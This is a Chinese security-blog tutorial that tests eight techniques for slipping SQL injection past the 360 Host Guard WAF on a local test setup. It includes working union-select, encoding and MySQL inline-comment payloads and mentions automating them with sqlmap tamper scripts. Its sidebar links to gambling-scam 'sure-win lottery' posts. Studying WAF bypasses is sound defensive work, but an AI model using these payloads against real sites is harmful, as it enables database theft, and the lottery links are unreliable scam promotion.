ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → Bypass360主机卫士SQL注入防御八种姿势

Bypass360主机卫士SQL注入防御八种姿势

时间:2018-05-29 07:02:11人气:作者:本站作者我要评论

0x00 前言

在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了360主机卫士Apache版的安装包,就当做是一个纪念版吧。这边主要分享一下几种思路,Bypass 360主机卫士SQL注入防御

0x01 环境搭建

360主机卫士官网:http://zhuji.360.cn软件版本:360主机卫士Apache 纪念版测试环境:phpStudy

本地构造SQL注入点:

  1. id=_REQUEST['id'];
  2. query = "SELECT * FROM admin WHERE id = id ";

0x02 WAF测试

因zhuji.360.cn站点已关闭,拦截界面为空白

姿势一:网站后台白名单

在360主机卫士客户端设置中存在默认网站后台白名单

利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。

姿势二:静态资源

当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

姿势三:缓冲区溢出

当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。

基于这些考虑,POST 大包溢出的思路可成功Bypass。

姿势四:uri参数溢出

这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。

姿势五:GET+POST一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

  1. /test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
  2. POST:www.cesafe.com

姿势六:multipart/form-data格式

将Post、Get数据包转为上传multipart/form-data格式数据包,利用协议解析的差异,从而绕过SQL防御。

  1. ------WebKitFormBoundaryACZoaLJJzUwc4hYM
  2. Content-Disposition: form-data; name="id"
  3. 1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】
  4. from information_schema.SCHEMATA
  5. ------WebKitFormBoundaryACZoaLJJzUwc4hYM--

如果转换数据包进行绕过呢?

首先,新建一个html页面:

  1. <html>
  2. <head></head>
  3. <body>
  4. <form action="http://www.cesafe.com/test.php" method="post" enctype="multipart/form-data">
  5. <input type="text" name="id">
  6. <input type="submit">
  7. </form>
  8. </body>
  9. </html>

然后,在浏览器打开并在输入框中输入参数,抓包发送到Repeater,进一步构造Payload获取数据。

姿势七:编码绕过

客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。

  1. /test.php?id=1
  2. POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

姿势八:%0a+内联注释

利用Mysql数据库的一些特性,绕过WAF的防御规则,最终在数据库中成功执行了SQL,获取数据。

  1. http://www.cesafe.com/test.php 
  2. POST:
  3. id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

0x03 自动化Bypass

当测试出绕过WAF SQL注入防御的技巧后,可通过编写tamper脚本实现自动化注入,以姿势八:%0a+内联注释为例,主要是针对union select from等关键字替换,Payload中的部分关键字可能会被waf拦截,需要一步步调试,测试,总结规律。

加载sqlmap tamper脚本,可成功获取数据

这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级SQL注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。

Bypass360主机卫士SQL注入防御八种姿势

利用前面的关键字符进行替换,自动化注入获取数据库数据:

Bypass360主机卫士SQL注入防御八种姿势

0x04 结束语

分享了几种有意思的绕过思路,主要利用了WAF层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网